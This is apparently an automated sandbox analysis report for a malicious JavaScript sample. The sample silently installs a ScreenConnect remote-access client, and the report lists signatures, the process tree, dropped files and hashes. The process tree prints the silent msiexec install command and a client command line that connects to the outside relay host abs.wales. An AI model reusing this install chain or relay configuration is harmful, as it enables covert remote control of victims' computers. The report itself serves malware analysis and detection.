Analysis

  • max time kernel
    148s
  • max time network
    132s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/08/2026, 18:06

General

  • Target
    Doc-8a794eb2a996.js
  • Size 2.4MB
  • Sample260828-wp49vs1wft
  • SHA256 71adf4a50f580416dc69ab4e3cc5a7ff2debe385f92287e5aff19775367c06a2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 25 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 25 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Doc-8a794eb2a996.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5384
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\NewUp.ClientSetup.msi" /qn /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:6788
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:6344
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D8D394E35093C6CD3D0AAEA1A536DA93
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1144
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI1812.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240720062 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:616
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4368A16BCD34617F7E2200356FBDBE11 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:6976
  • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=abs.wales&p=8041&s=15b19ffc-78df-4cbe-b31e-57568dc91b75&k=BgIAAACkAABSU0ExAAgAAAEAAQDBDBXqpk9Kx4Qm%2bJTtb1UObhg2VTi1LC7b4xXxhkqKL7S%2fN6I%2bD2%2bS1L2rKh1MKOXCps7p9FgQLJKL205yyuUBQBWUYPu0nXIVDQ1bdaKGwqx00hh6gc9L6AiPV8LolZdaW4kSxvDSchPZxD6ZmES67tQ9gdADJl52xvZgX%2bj1eTpVk756wVPOomjAhkGU98UC8eNxesozUqhkVAg5FXahq%2bcPR8t%2bTphcW4dRAgDG6QzM3xtK4Axj0z4x6FCEPDLUCMWJgNpoRrOyDvIBTE82oLhPDLNwHjtAMW6g6%2feRtguRPckaLSzk4RQjfvGUN997l%2ffF4Et2e4ygBJhyEZPO&t=&c=NewBoy&c=NewBoy&c=&c=&c=&c=&c=&c="
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:6812
    • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "bf0f8ef6-d03a-4baa-afb4-e4d06fa1a9f4" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4820
    • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "f2544782-b77b-469c-aee8-cb81642ec7f4" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:628

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e5916ae.rbs

        • Path C:\Config.Msi\e5916ae.rbs
        • Size 212KB
        • SHA256 b257d79af85c873687ea3d5421f78e88ba3bf509f49b3eea25a3868712922119
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.Override.en-US.resources
        • Size 308B
        • SHA256 25816b0a68a814e47d7463a2c9ea06d08f115d0e4c92bad8e2f3457d280348e6
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.Override.resources
        • Size 241B
        • SHA256 b222ffd3bb91120201046546dd5fde1565c4e5cc6b47060419e1778e833fd4db
        • MD5 SHA1 SHA512 TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.en-US.resources
        • Size 33KB
        • SHA256 3d42f719c28b1c3eebd99bc17ba7793330ce0099fc0dbfef985ecd523cddae70
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.resources
        • Size 2KB
        • SHA256 64da2cfeacfcba97cad701da9288618bc42a20f69dd4a0fe5652ce49ef92524c
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Client.dll
        • Size 146KB
        • SHA256 49e4ee62deec4d4aee96a4ba44d05d9bf2d0a9933160620f6d24e54e309bfb60
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.dll
        • Size 30KB
        • SHA256 7cf638cc92d30d774a0d059b9524d2c62b66ff44c567945cab68888392ab3964
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe
        • Size 88KB
        • SHA256 259dd88263bacfaa4c98686a1bb5ac1581d87f6788f23d145086e369126a34b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 567685ab504a98ce5079890fc850d4032ef0cbd5a53226fbdaa2bc77eda7f73a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
        • Size 534KB
        • SHA256 f65a0d67c2398cd51c8d4cd4b95be81db4efe69ba9bda3d958e2b52becf216b3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\app.config
        • Size 1KB
        • SHA256 a38ebc0343ad7eae9749feafe11b534e4beca81916646d9f3eda3f00e7bed751
        • MD5 SHA1 SHA512 TLSH

        NewUp.ClientSetup.msi

        • Path C:\Users\Admin\AppData\Local\Temp\NewUp.ClientSetup.msi
        • Size 1.8MB
        • SHA256 073f0075283ddf39085fad8024dccaafa1c8c3b98f42c7cbbb0d2f02821e97c2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI1812.tmp

        • Path C:\Windows\Installer\MSI1812.tmp
        • Size 336KB
        • SHA256 0026221a5cf41719e401da2657addbeb7190d98809ddbd09ea0dd063524597e7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI1812.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI1812.tmp-\ScreenConnect.Core.dll
        • Size 378KB
        • SHA256 1b15d7c3465ca779ec46b83704412edabfa8d47f32fa545080d613d1f10040c4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI1812.tmp-\ScreenConnect.InstallerActions.dll
        • Size 17KB
        • SHA256 584ccce1c440c597712ef9bff7e22da4c4e169bebd5f2db4d3cca4eea3e74759
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI1BCD.tmp

        • Path C:\Windows\Installer\MSI1BCD.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/616-18-0x0000000005BA0000-0x0000000005BCE000-memory.dmp

        memory/616-22-0x0000000003B60000-0x0000000003B6A000-memory.dmp

        memory/616-26-0x0000000005C40000-0x0000000005CA4000-memory.dmp

        memory/4820-98-0x000000001B2C0000-0x000000001B324000-memory.dmp

        memory/4820-99-0x000000001B4F0000-0x000000001B6A8000-memory.dmp

        memory/4820-97-0x000000001ADC0000-0x000000001ADEA000-memory.dmp

        memory/4820-96-0x00000000002E0000-0x000000000036A000-memory.dmp

        memory/4820-100-0x000000001C2D0000-0x000000001C458000-memory.dmp

        memory/4820-103-0x0000000002370000-0x000000000237E000-memory.dmp

        memory/6812-89-0x00000000046E0000-0x0000000004730000-memory.dmp

        memory/6812-88-0x0000000004650000-0x00000000046DA000-memory.dmp

        memory/6812-83-0x0000000004210000-0x0000000004398000-memory.dmp

        memory/6812-82-0x0000000004050000-0x0000000004208000-memory.dmp

        memory/6812-75-0x0000000003CC0000-0x0000000003CEA000-memory.dmp

        memory/6812-69-0x0000000001650000-0x000000000165E000-memory.dmp